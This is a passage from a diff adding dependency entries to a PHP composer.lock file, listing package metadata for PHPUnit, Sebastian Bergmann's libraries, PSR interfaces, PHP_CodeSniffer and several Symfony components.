+ "dev-master": "1.11.x-dev" + } + }, + "autoload": { + "psr-4": { + "Prophecy\\": "src/Prophecy" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Konstantin Kudryashov", + "email": "ever.zet@gmail.com", + "homepage": "http://everzet.com" + }, + { + "name": "Marcello Duarte", + "email": "marcello.duarte@gmail.com" + } + ], + "description": "Highly opinionated mocking framework for PHP 5.3+", + "homepage": "https://github.com/phpspec/prophecy", + "keywords": [ + "Double", + "Dummy", + "fake", + "mock", + "spy", + "stub" + ], + "time": "2020-07-08T12:44:21+00:00" + }, + { + "name": "phpunit/php-code-coverage", + "version": "7.0.10", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/php-code-coverage.git", + "reference": "f1884187926fbb755a9aaf0b3836ad3165b478bf" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/php-code-coverage/zipball/f1884187926fbb755a9aaf0b3836ad3165b478bf", + "reference": "f1884187926fbb755a9aaf0b3836ad3165b478bf", + "shasum": "" + }, + "require": { + "ext-dom": "*", + "ext-xmlwriter": "*", + "php": "^7.2", + "phpunit/php-file-iterator": "^2.0.2", + "phpunit/php-text-template": "^1.2.1", + "phpunit/php-token-stream": "^3.1.1", + "sebastian/code-unit-reverse-lookup": "^1.0.1", + "sebastian/environment": "^4.2.2", + "sebastian/version": "^2.0.1", + "theseer/tokenizer": "^1.1.3" + }, + "require-dev": { + "phpunit/phpunit": "^8.2.2" + }, + "suggest": { + "ext-xdebug": "^2.7.2" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "7.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Library that provides collection, processing, and rendering functionality for PHP code coverage information.", + "homepage": "https://github.com/sebastianbergmann/php-code-coverage", + "keywords": [ + "coverage", + "testing", + "xunit" + ], + "time": "2019-11-20T13:55:58+00:00" + }, + { + "name": "phpunit/php-file-iterator", + "version": "2.0.2", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/php-file-iterator.git", + "reference": "050bedf145a257b1ff02746c31894800e5122946" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/php-file-iterator/zipball/050bedf145a257b1ff02746c31894800e5122946", + "reference": "050bedf145a257b1ff02746c31894800e5122946", + "shasum": "" + }, + "require": { + "php": "^7.1" + }, + "require-dev": { + "phpunit/phpunit": "^7.1" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.0.x-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "FilterIterator implementation that filters files based on a list of suffixes.", + "homepage": "https://github.com/sebastianbergmann/php-file-iterator/", + "keywords": [ + "filesystem", + "iterator" + ], + "time": "2018-09-13T20:33:42+00:00" + }, + { + "name": "phpunit/php-text-template", + "version": "1.2.1", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/php-text-template.git", + "reference": "31f8b717e51d9a2afca6c9f046f5d69fc27c8686" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/php-text-template/zipball/31f8b717e51d9a2afca6c9f046f5d69fc27c8686", + "reference": "31f8b717e51d9a2afca6c9f046f5d69fc27c8686", + "shasum": "" + }, + "require": { + "php": ">=5.3.3" + }, + "type": "library", + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Simple template engine.", + "homepage": "https://github.com/sebastianbergmann/php-text-template/", + "keywords": [ + "template" + ], + "time": "2015-06-21T13:50:34+00:00" + }, + { + "name": "phpunit/php-timer", + "version": "2.1.2", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/php-timer.git", + "reference": "1038454804406b0b5f5f520358e78c1c2f71501e" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/php-timer/zipball/1038454804406b0b5f5f520358e78c1c2f71501e", + "reference": "1038454804406b0b5f5f520358e78c1c2f71501e", + "shasum": "" + }, + "require": { + "php": "^7.1" + }, + "require-dev": { + "phpunit/phpunit": "^7.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.1-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Utility class for timing", + "homepage": "https://github.com/sebastianbergmann/php-timer/", + "keywords": [ + "timer" + ], + "time": "2019-06-07T04:22:29+00:00" + }, + { + "name": "phpunit/php-token-stream", + "version": "3.1.1", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/php-token-stream.git", + "reference": "995192df77f63a59e47f025390d2d1fdf8f425ff" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/php-token-stream/zipball/995192df77f63a59e47f025390d2d1fdf8f425ff", + "reference": "995192df77f63a59e47f025390d2d1fdf8f425ff", + "shasum": "" + }, + "require": { + "ext-tokenizer": "*", + "php": "^7.1" + }, + "require-dev": { + "phpunit/phpunit": "^7.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.1-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + } + ], + "description": "Wrapper around PHP's tokenizer extension.", + "homepage": "https://github.com/sebastianbergmann/php-token-stream/", + "keywords": [ + "tokenizer" + ], + "abandoned": true, + "time": "2019-09-17T06:23:10+00:00" + }, + { + "name": "phpunit/phpunit", + "version": "8.5.8", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/phpunit.git", + "reference": "34c18baa6a44f1d1fbf0338907139e9dce95b997" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/phpunit/zipball/34c18baa6a44f1d1fbf0338907139e9dce95b997", + "reference": "34c18baa6a44f1d1fbf0338907139e9dce95b997", + "shasum": "" + }, + "require": { + "doctrine/instantiator": "^1.2.0", + "ext-dom": "*", + "ext-json": "*", + "ext-libxml": "*", + "ext-mbstring": "*", + "ext-xml": "*", + "ext-xmlwriter": "*", + "myclabs/deep-copy": "^1.9.1", + "phar-io/manifest": "^1.0.3", + "phar-io/version": "^2.0.1", + "php": "^7.2", + "phpspec/prophecy": "^1.8.1", + "phpunit/php-code-coverage": "^7.0.7", + "phpunit/php-file-iterator": "^2.0.2", + "phpunit/php-text-template": "^1.2.1", + "phpunit/php-timer": "^2.1.2", + "sebastian/comparator": "^3.0.2", + "sebastian/diff": "^3.0.2", + "sebastian/environment": "^4.2.2", + "sebastian/exporter": "^3.1.1", + "sebastian/global-state": "^3.0.0", + "sebastian/object-enumerator": "^3.0.3", + "sebastian/resource-operations": "^2.0.1", + "sebastian/type": "^1.1.3", + "sebastian/version": "^2.0.1" + }, + "require-dev": { + "ext-pdo": "*" + }, + "suggest": { + "ext-soap": "*", + "ext-xdebug": "*", + "phpunit/php-invoker": "^2.0.0" + }, + "bin": [ + "phpunit" + ], + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "8.5-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "The PHP Unit Testing framework.", + "homepage": "https://phpunit.de/", + "keywords": [ + "phpunit", + "testing", + "xunit" + ], + "funding": [ + { + "url": "https://phpunit.de/donate.html", + "type": "custom" + }, + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2020-06-22T07:06:58+00:00" + }, + { + "name": "psr/container", + "version": "1.0.0", + "source": { + "type": "git", + "url": "https://github.com/php-fig/container.git", + "reference": "b7ce3b176482dbbc1245ebf52b181af44c2cf55f" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/container/zipball/b7ce3b176482dbbc1245ebf52b181af44c2cf55f", + "reference": "b7ce3b176482dbbc1245ebf52b181af44c2cf55f", + "shasum": "" + }, + "require": { + "php": ">=5.3.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.0.x-dev" + } + }, + "autoload": { + "psr-4": { + "Psr\\Container\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "http://www.php-fig.org/" + } + ], + "description": "Common Container Interface (PHP FIG PSR-11)", + "homepage": "https://github.com/php-fig/container", + "keywords": [ + "PSR-11", + "container", + "container-interface", + "container-interop", + "psr" + ], + "time": "2017-02-14T16:28:37+00:00" + }, + { + "name": "psr/log", + "version": "1.1.3", + "source": { + "type": "git", + "url": "https://github.com/php-fig/log.git", + "reference": "0f73288fd15629204f9d42b7055f72dacbe811fc" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/log/zipball/0f73288fd15629204f9d42b7055f72dacbe811fc", + "reference": "0f73288fd15629204f9d42b7055f72dacbe811fc", + "shasum": "" + }, + "require": { + "php": ">=5.3.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.1.x-dev" + } + }, + "autoload": { + "psr-4": { + "Psr\\Log\\": "Psr/Log/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "http://www.php-fig.org/" + } + ], + "description": "Common interface for logging libraries", + "homepage": "https://github.com/php-fig/log", + "keywords": [ + "log", + "psr", + "psr-3" + ], + "time": "2020-03-23T09:12:05+00:00" + }, + { + "name": "sebastian/code-unit-reverse-lookup", + "version": "1.0.1", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/code-unit-reverse-lookup.git", + "reference": "4419fcdb5eabb9caa61a27c7a1db532a6b55dd18" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/code-unit-reverse-lookup/zipball/4419fcdb5eabb9caa61a27c7a1db532a6b55dd18", + "reference": "4419fcdb5eabb9caa61a27c7a1db532a6b55dd18", + "shasum": "" + }, + "require": { + "php": "^5.6 || ^7.0" + }, + "require-dev": { + "phpunit/phpunit": "^5.7 || ^6.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.0.x-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + } + ], + "description": "Looks up which function or method a line of code belongs to", + "homepage": "https://github.com/sebastianbergmann/code-unit-reverse-lookup/", + "time": "2017-03-04T06:30:41+00:00" + }, + { + "name": "sebastian/comparator", + "version": "3.0.2", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/comparator.git", + "reference": "5de4fc177adf9bce8df98d8d141a7559d7ccf6da" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/comparator/zipball/5de4fc177adf9bce8df98d8d141a7559d7ccf6da", + "reference": "5de4fc177adf9bce8df98d8d141a7559d7ccf6da", + "shasum": "" + }, + "require": { + "php": "^7.1", + "sebastian/diff": "^3.0", + "sebastian/exporter": "^3.1" + }, + "require-dev": { + "phpunit/phpunit": "^7.1" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Jeff Welch", + "email": "whatthejeff@gmail.com" + }, + { + "name": "Volker Dusch", + "email": "github@wallbash.com" + }, + { + "name": "Bernhard Schussek", + "email": "bschussek@2bepublished.at" + }, + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + } + ], + "description": "Provides the functionality to compare PHP values for equality", + "homepage": "https://github.com/sebastianbergmann/comparator", + "keywords": [ + "comparator", + "compare", + "equality" + ], + "time": "2018-07-12T15:12:46+00:00" + }, + { + "name": "sebastian/diff", + "version": "3.0.2", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/diff.git", + "reference": "720fcc7e9b5cf384ea68d9d930d480907a0c1a29" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/diff/zipball/720fcc7e9b5cf384ea68d9d930d480907a0c1a29", + "reference": "720fcc7e9b5cf384ea68d9d930d480907a0c1a29", + "shasum": "" + }, + "require": { + "php": "^7.1" + }, + "require-dev": { + "phpunit/phpunit": "^7.5 || ^8.0", + "symfony/process": "^2 || ^3.3 || ^4" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Kore Nordmann", + "email": "mail@kore-nordmann.de" + }, + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + } + ], + "description": "Diff implementation", + "homepage": "https://github.com/sebastianbergmann/diff", + "keywords": [ + "diff", + "udiff", + "unidiff", + "unified diff" + ], + "time": "2019-02-04T06:01:07+00:00" + }, + { + "name": "sebastian/environment", + "version": "4.2.3", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/environment.git", + "reference": "464c90d7bdf5ad4e8a6aea15c091fec0603d4368" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/environment/zipball/464c90d7bdf5ad4e8a6aea15c091fec0603d4368", + "reference": "464c90d7bdf5ad4e8a6aea15c091fec0603d4368", + "shasum": "" + }, + "require": { + "php": "^7.1" + }, + "require-dev": { + "phpunit/phpunit": "^7.5" + }, + "suggest": { + "ext-posix": "*" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "4.2-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + } + ], + "description": "Provides functionality to handle HHVM/PHP environments", + "homepage": "http://www.github.com/sebastianbergmann/environment", + "keywords": [ + "Xdebug", + "environment", + "hhvm" + ], + "time": "2019-11-20T08:46:58+00:00" + }, + { + "name": "sebastian/exporter", + "version": "3.1.2", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/exporter.git", + "reference": "68609e1261d215ea5b21b7987539cbfbe156ec3e" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/exporter/zipball/68609e1261d215ea5b21b7987539cbfbe156ec3e", + "reference": "68609e1261d215ea5b21b7987539cbfbe156ec3e", + "shasum": "" + }, + "require": { + "php": "^7.0", + "sebastian/recursion-context": "^3.0" + }, + "require-dev": { + "ext-mbstring": "*", + "phpunit/phpunit": "^6.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.1.x-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + }, + { + "name": "Jeff Welch", + "email": "whatthejeff@gmail.com" + }, + { + "name": "Volker Dusch", + "email": "github@wallbash.com" + }, + { + "name": "Adam Harvey", + "email": "aharvey@php.net" + }, + { + "name": "Bernhard Schussek", + "email": "bschussek@gmail.com" + } + ], + "description": "Provides the functionality to export PHP variables for visualization", + "homepage": "http://www.github.com/sebastianbergmann/exporter", + "keywords": [ + "export", + "exporter" + ], + "time": "2019-09-14T09:02:43+00:00" + }, + { + "name": "sebastian/global-state", + "version": "3.0.0", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/global-state.git", + "reference": "edf8a461cf1d4005f19fb0b6b8b95a9f7fa0adc4" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/global-state/zipball/edf8a461cf1d4005f19fb0b6b8b95a9f7fa0adc4", + "reference": "edf8a461cf1d4005f19fb0b6b8b95a9f7fa0adc4", + "shasum": "" + }, + "require": { + "php": "^7.2", + "sebastian/object-reflector": "^1.1.1", + "sebastian/recursion-context": "^3.0" + }, + "require-dev": { + "ext-dom": "*", + "phpunit/phpunit": "^8.0" + }, + "suggest": { + "ext-uopz": "*" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + } + ], + "description": "Snapshotting of global state", + "homepage": "http://www.github.com/sebastianbergmann/global-state", + "keywords": [ + "global state" + ], + "time": "2019-02-01T05:30:01+00:00" + }, + { + "name": "sebastian/object-enumerator", + "version": "3.0.3", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/object-enumerator.git", + "reference": "7cfd9e65d11ffb5af41198476395774d4c8a84c5" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/object-enumerator/zipball/7cfd9e65d11ffb5af41198476395774d4c8a84c5", + "reference": "7cfd9e65d11ffb5af41198476395774d4c8a84c5", + "shasum": "" + }, + "require": { + "php": "^7.0", + "sebastian/object-reflector": "^1.1.1", + "sebastian/recursion-context": "^3.0" + }, + "require-dev": { + "phpunit/phpunit": "^6.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.0.x-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + } + ], + "description": "Traverses array structures and object graphs to enumerate all referenced objects", + "homepage": "https://github.com/sebastianbergmann/object-enumerator/", + "time": "2017-08-03T12:35:26+00:00" + }, + { + "name": "sebastian/object-reflector", + "version": "1.1.1", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/object-reflector.git", + "reference": "773f97c67f28de00d397be301821b06708fca0be" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/object-reflector/zipball/773f97c67f28de00d397be301821b06708fca0be", + "reference": "773f97c67f28de00d397be301821b06708fca0be", + "shasum": "" + }, + "require": { + "php": "^7.0" + }, + "require-dev": { + "phpunit/phpunit": "^6.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.1-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + } + ], + "description": "Allows reflection of object attributes, including inherited and non-public ones", + "homepage": "https://github.com/sebastianbergmann/object-reflector/", + "time": "2017-03-29T09:07:27+00:00" + }, + { + "name": "sebastian/recursion-context", + "version": "3.0.0", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/recursion-context.git", + "reference": "5b0cd723502bac3b006cbf3dbf7a1e3fcefe4fa8" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/recursion-context/zipball/5b0cd723502bac3b006cbf3dbf7a1e3fcefe4fa8", + "reference": "5b0cd723502bac3b006cbf3dbf7a1e3fcefe4fa8", + "shasum": "" + }, + "require": { + "php": "^7.0" + }, + "require-dev": { + "phpunit/phpunit": "^6.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.0.x-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Jeff Welch", + "email": "whatthejeff@gmail.com" + }, + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + }, + { + "name": "Adam Harvey", + "email": "aharvey@php.net" + } + ], + "description": "Provides functionality to recursively process PHP variables", + "homepage": "http://www.github.com/sebastianbergmann/recursion-context", + "time": "2017-03-03T06:23:57+00:00" + }, + { + "name": "sebastian/resource-operations", + "version": "2.0.1", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/resource-operations.git", + "reference": "4d7a795d35b889bf80a0cc04e08d77cedfa917a9" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/resource-operations/zipball/4d7a795d35b889bf80a0cc04e08d77cedfa917a9", + "reference": "4d7a795d35b889bf80a0cc04e08d77cedfa917a9", + "shasum": "" + }, + "require": { + "php": "^7.1" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + } + ], + "description": "Provides a list of PHP built-in functions that operate on resources", + "homepage": "https://www.github.com/sebastianbergmann/resource-operations", + "time": "2018-10-04T04:07:39+00:00" + }, + { + "name": "sebastian/type", + "version": "1.1.3", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/type.git", + "reference": "3aaaa15fa71d27650d62a948be022fe3b48541a3" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/type/zipball/3aaaa15fa71d27650d62a948be022fe3b48541a3", + "reference": "3aaaa15fa71d27650d62a948be022fe3b48541a3", + "shasum": "" + }, + "require": { + "php": "^7.2" + }, + "require-dev": { + "phpunit/phpunit": "^8.2" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.1-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Collection of value objects that represent the types of the PHP type system", + "homepage": "https://github.com/sebastianbergmann/type", + "time": "2019-07-02T08:10:15+00:00" + }, + { + "name": "sebastian/version", + "version": "2.0.1", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/version.git", + "reference": "99732be0ddb3361e16ad77b68ba41efc8e979019" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/version/zipball/99732be0ddb3361e16ad77b68ba41efc8e979019", + "reference": "99732be0ddb3361e16ad77b68ba41efc8e979019", + "shasum": "" + }, + "require": { + "php": ">=5.6" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.0.x-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Library that helps with managing the version number of Git-hosted PHP projects", + "homepage": "https://github.com/sebastianbergmann/version", + "time": "2016-10-03T07:35:21+00:00" + }, + { + "name": "squizlabs/php_codesniffer", + "version": "3.5.6", + "source": { + "type": "git", + "url": "https://github.com/squizlabs/PHP_CodeSniffer.git", + "reference": "e97627871a7eab2f70e59166072a6b767d5834e0" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/squizlabs/PHP_CodeSniffer/zipball/e97627871a7eab2f70e59166072a6b767d5834e0", + "reference": "e97627871a7eab2f70e59166072a6b767d5834e0", + "shasum": "" + }, + "require": { + "ext-simplexml": "*", + "ext-tokenizer": "*", + "ext-xmlwriter": "*", + "php": ">=5.4.0" + }, + "require-dev": { + "phpunit/phpunit": "^4.0 || ^5.0 || ^6.0 || ^7.0" + }, + "bin": [ + "bin/phpcs", + "bin/phpcbf" + ], + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.x-dev" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Greg Sherwood", + "role": "lead" + } + ], + "description": "PHP_CodeSniffer tokenizes PHP, JavaScript and CSS files and detects violations of a defined set of coding standards.", + "homepage": "https://github.com/squizlabs/PHP_CodeSniffer", + "keywords": [ + "phpcs", + "standards" + ], + "time": "2020-08-10T04:50:15+00:00" + }, + { + "name": "symfony/config", + "version": "v4.4.13", + "source": { + "type": "git", + "url": "https://github.com/symfony/config.git", + "reference": "043bf8652c307ebc23ce44047d215eec889d8850" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/config/zipball/043bf8652c307ebc23ce44047d215eec889d8850", + "reference": "043bf8652c307ebc23ce44047d215eec889d8850", + "shasum": "" + }, + "require": { + "php": ">=7.1.3", + "symfony/filesystem": "^3.4|^4.0|^5.0", + "symfony/polyfill-ctype": "~1.8" + }, + "conflict": { + "symfony/finder": "<3.4" + }, + "require-dev": { + "symfony/event-dispatcher": "^3.4|^4.0|^5.0", + "symfony/finder": "^3.4|^4.0|^5.0", + "symfony/messenger": "^4.1|^5.0", + "symfony/service-contracts": "^1.1|^2", + "symfony/yaml": "^3.4|^4.0|^5.0" + }, + "suggest": { + "symfony/yaml": "To use the yaml reference dumper" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "4.4-dev" + } + }, + "autoload": { + "psr-4": { + "Symfony\\Component\\Config\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony Config Component", + "homepage": "https://symfony.com", + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2020-08-10T07:27:51+00:00" + }, + { + "name": "symfony/dependency-injection", + "version": "v4.4.13", + "source": { + "type": "git", + "url": "https://github.com/symfony/dependency-injection.git", + "reference": "384c2601e5a6228d60b041911d63f010e0885ffb" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/dependency-injection/zipball/384c2601e5a6228d60b041911d63f010e0885ffb", + "reference": "384c2601e5a6228d60b041911d63f010e0885ffb", + "shasum": "" + }, + "require": { + "php": ">=7.1.3", + "psr/container": "^1.0", + "symfony/service-contracts": "^1.1.6|^2" + }, + "conflict": { + "symfony/config": "<4.3|>=5.0", + "symfony/finder": "<3.4", + "symfony/proxy-manager-bridge": "<3.4", + "symfony/yaml": "<3.4" + }, + "provide": { + "psr/container-implementation": "1.0", + "symfony/service-implementation": "1.0" + }, + "require-dev": { + "symfony/config": "^4.3", + "symfony/expression-language": "^3.4|^4.0|^5.0", + "symfony/yaml": "^3.4|^4.0|^5.0" + }, + "suggest": { + "symfony/config": "", + "symfony/expression-language": "For using expressions in service container configuration", + "symfony/finder": "For using double-star glob patterns or when GLOB_BRACE portability is required", + "symfony/proxy-manager-bridge": "Generate service proxies to lazy load them", + "symfony/yaml": "" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "4.4-dev" + } + }, + "autoload": { + "psr-4": { + "Symfony\\Component\\DependencyInjection\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony DependencyInjection Component", + "homepage": "https://symfony.com", + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2020-09-01T17:42:15+00:00" + }, + { + "name": "symfony/event-dispatcher", + "version": "v4.4.13", + "source": { + "type": "git", + "url": "https://github.com/symfony/event-dispatcher.git", + "reference": "3e8ea5ccddd00556b86d69d42f99f1061a704030" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/event-dispatcher/zipball/3e8ea5ccddd00556b86d69d42f99f1061a704030", + "reference": "3e8ea5ccddd00556b86d69d42f99f1061a704030", + "shasum": "" + }, + "require": { + "php": ">=7.1.3", + "symfony/event-dispatcher-contracts": "^1.1" + }, + "conflict": { + "symfony/dependency-injection": "<3.4" + }, + "provide": { + "psr/event-dispatcher-implementation": "1.0", + "symfony/event-dispatcher-implementation": "1.1" + }, + "require-dev": { + "psr/log": "~1.0", + "symfony/config": "^3.4|^4.0|^5.0", + "symfony/dependency-injection": "^3.4|^4.0|^5.0", + "symfony/expression-language": "^3.4|^4.0|^5.0", + "symfony/http-foundation": "^3.4|^4.0|^5.0", + "symfony/service-contracts": "^1.1|^2", + "symfony/stopwatch": "^3.4|^4.0|^5.0" + }, + "suggest": { + 